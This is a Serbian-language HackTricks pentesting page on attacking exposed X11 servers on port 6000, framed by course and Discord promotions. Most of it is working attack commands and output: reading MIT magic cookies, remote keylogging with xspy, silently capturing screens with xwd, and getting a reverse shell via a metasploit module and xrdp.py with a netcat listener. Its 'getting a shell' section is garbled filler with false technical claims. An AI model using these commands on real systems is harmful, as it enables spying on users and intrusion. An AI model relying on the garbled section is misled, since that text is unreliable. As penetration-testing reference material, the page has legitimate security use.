14 KiB
6000 - Pentesting X11
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Hakerski uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Hakerske vesti u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Najnovije objave
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
Osnovne informacije
X Window System (X) je svestrani sistem za prozore koji je široko rasprostranjen na UNIX baziranim operativnim sistemima. Pruža okvir za kreiranje grafičkih korisničkih interfejsa (GUI), pri čemu pojedinačni programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznovrsna i prilagodljiva iskustva unutar X okruženja.
Podrazumevani port: 6000
PORT STATE SERVICE
6000/tcp open X11
Enumeracija
Proverite da li postoji anonimna veza:
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
Lokalno nabrojavanje
Fajl .Xauthority
u korisničkom folderu se koristi od strane X11 za autorizaciju. Sa ovde:
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
MIT-magic-cookie-1: Generisanje 128 bita ključa ("kolačića"), smeštanje u ~/.Xauthority (ili tamo gde XAUTHORITY envvar pokazuje). Klijent ga šalje serveru kao običan tekst! Server proverava da li ima kopiju ovog "kolačića" i ako ima, veza se dozvoljava. Ključ se generiše pomoću DMX.
{% hint style="warning" %}
Da biste koristili kolačić, trebate postaviti env var: export XAUTHORITY=/putanja/do/.Xauthority
{% endhint %}
Lokalna sesija enumeracije
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
Provera konekcije
Da biste proverili da li imate pristup X11 serveru, možete koristiti komandu xhost
. Ova komanda vam omogućava da kontrolišete pristup X serveru za različite korisnike ili mašine.
$ xhost
access control enabled, only authorized clients can connect
SI:localuser:username
Ako vidite poruku "access control enabled, only authorized clients can connect", to znači da je pristup X serveru omogućen samo autorizovanim klijentima.
X11 Forwarding
X11 Forwarding je tehnika koja vam omogućava da pokrećete grafičke aplikacije sa udaljenog servera i prikazujete ih na lokalnom računaru. Da biste koristili X11 Forwarding, morate imati instaliran X server na lokalnom računaru.
Da biste omogućili X11 Forwarding prilikom SSH konekcije, koristite opciju -X
ili -Y
prilikom pozivanja SSH komande:
$ ssh -X username@remote_host
X11 Forwarding preko SSH tunela
Ako želite da koristite X11 Forwarding preko SSH tunela, možete koristiti sledeću komandu:
$ ssh -L 6000:localhost:6000 username@remote_host
Ova komanda uspostavlja SSH tunel između lokalnog računara i udaljenog servera, omogućavajući vam da koristite X11 Forwarding preko port-a 6000.
X11 Forwarding preko HTTP tunela
Ako želite da koristite X11 Forwarding preko HTTP tunela, možete koristiti sledeću komandu:
$ ssh -L 6000:localhost:6000 -N -f -l username remote_host -p 443
Ova komanda uspostavlja HTTP tunel između lokalnog računara i udaljenog servera, omogućavajući vam da koristite X11 Forwarding preko port-a 6000.
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
Keylogovanje
xspy za presretanje tastature.
Primer izlaza:
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
Snimanje snimaka ekrana
Snimanje snimaka ekrana je tehnika koja se koristi u procesu testiranja penetracije kako bi se prikupile informacije o aktivnostima na ciljnom sistemu. Ova tehnika omogućava hakerima da snime slike ekrana i pregledaju ih kasnije radi analize.
Da biste snimili snimak ekrana, možete koristiti različite alate kao što su scrot
, import
ili gnome-screenshot
. Ovi alati omogućavaju snimanje trenutnog sadržaja ekrana i čuvanje snimka u odabranom formatu.
Na primer, možete koristiti sledeću komandu za snimanje snimka ekrana koristeći scrot
:
scrot screenshot.png
Ova komanda će snimiti trenutni sadržaj ekrana i sačuvati ga kao screenshot.png
u trenutnom direktorijumu.
Nakon što snimite snimak ekrana, možete ga pregledati koristeći pregledač slika ili alate za uređivanje slika kao što su feh
, eog
ili gimp
.
Važno je napomenuti da prilikom snimanja snimaka ekrana tokom testiranja penetracije treba biti oprezan kako se ne bi otkrile osetljive informacije ili lični podaci. Takođe, treba se pridržavati zakonskih propisa i etičkih smernica prilikom korišćenja ove tehnike.
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
Prikaz udaljenog radnog okruženja
Putanja: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
Putanja: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
Prvo moramo pronaći ID prozora koristeći xwininfo.
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
Za live pregledanje moramo koristiti
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
Dobijanje Shell-a
Da biste dobili pristup Shell-u na ciljnom sistemu, možete koristiti različite tehnike. Evo nekoliko metoda koje možete isprobati:
1. X11 Forwarding
X11 Forwarding je tehnika koja vam omogućava da pokrenete aplikacije sa ciljnog sistema na vašem lokalnom sistemu. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
Da biste koristili X11 Forwarding, prvo morate omogućiti opciju X11Forwarding
u konfiguracionom fajlu SSH servera na ciljnom sistemu. Zatim, koristite SSH tuneliranje da biste uspostavili sigurnu vezu sa ciljnim sistemom i pokrenuli aplikaciju sa ciljnog sistema na vašem lokalnom sistemu.
2. X11 Reverse Shell
X11 Reverse Shell je tehnika koja vam omogućava da dobijete pristup Shell-u na ciljnom sistemu putem X11 protokola. Ova tehnika zahteva da ciljni sistem ima X11 server pokrenut i da je omogućen X11 Forwarding.
Da biste koristili X11 Reverse Shell, prvo morate pokrenuti X11 server na vašem lokalnom sistemu. Zatim, koristite X11 Forwarding da biste uspostavili vezu sa ciljnim sistemom i dobili pristup Shell-u.
3. X11 Injection
X11 Injection je tehnika koja vam omogućava da izvršite zlonamerni kod na ciljnom sistemu putem X11 protokola. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
Da biste koristili X11 Injection, prvo morate pronaći ranjivu aplikaciju koja koristi X11 protokol na ciljnom sistemu. Zatim, iskoristite ranjivost da biste ubacili zlonamerni kod i dobili pristup Shell-u.
4. X11 Port Forwarding
X11 Port Forwarding je tehnika koja vam omogućava da usmerite X11 protokol preko SSH tunela. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
Da biste koristili X11 Port Forwarding, prvo morate uspostaviti SSH tunel sa ciljnim sistemom. Zatim, koristite X11 Port Forwarding da biste usmerili X11 protokol preko SSH tunela i dobili pristup Shell-u.
5. X11 Screen Capture
X11 Screen Capture je tehnika koja vam omogućava da snimite sadržaj ekrana ciljnog sistema putem X11 protokola. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
Da biste koristili X11 Screen Capture, prvo morate pronaći aplikaciju koja koristi X11 protokol za prikazivanje sadržaja ekrana na ciljnom sistemu. Zatim, iskoristite ranjivost aplikacije da biste snimili sadržaj ekrana i dobili pristup Shell-u.
6. X11 Keylogger
X11 Keylogger je tehnika koja vam omogućava da snimate tastere koje korisnik pritisne na ciljnom sistemu putem X11 protokola. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
Da biste koristili X11 Keylogger, prvo morate pronaći aplikaciju koja koristi X11 protokol za prikazivanje tastature na ciljnom sistemu. Zatim, iskoristite ranjivost aplikacije da biste snimali tastere i dobili pristup Shell-u.
msf> use exploit/unix/x11/x11_keyboard_exec
Drugi način:
Reverse Shell: Xrdp takođe omogućava preuzimanje obrnutog školjka pomoću Netcat-a. Unesite sledeću komandu:
./xrdp.py \<IP:0> –no-disp
U interfejsu možete videti opciju R-shell.
Zatim, pokrenite Netcat osluškivač na vašem lokalnom sistemu na portu 5555.
nc -lvp 5555
Zatim, unesite svoju IP adresu i port u opciju R-Shell i kliknite na R-shell da biste dobili shell.
Reference
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Shodan
port:6000 x11
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Hacking Insights
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Real-Time Hack News
Budite u toku sa brzim svetom hakovanja putem vesti i saznanja u realnom vremenu
Latest Announcements
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite oglašavanje vaše kompanije u HackTricks-u ili preuzmete HackTricks u PDF formatu, proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje trikove hakovanja slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.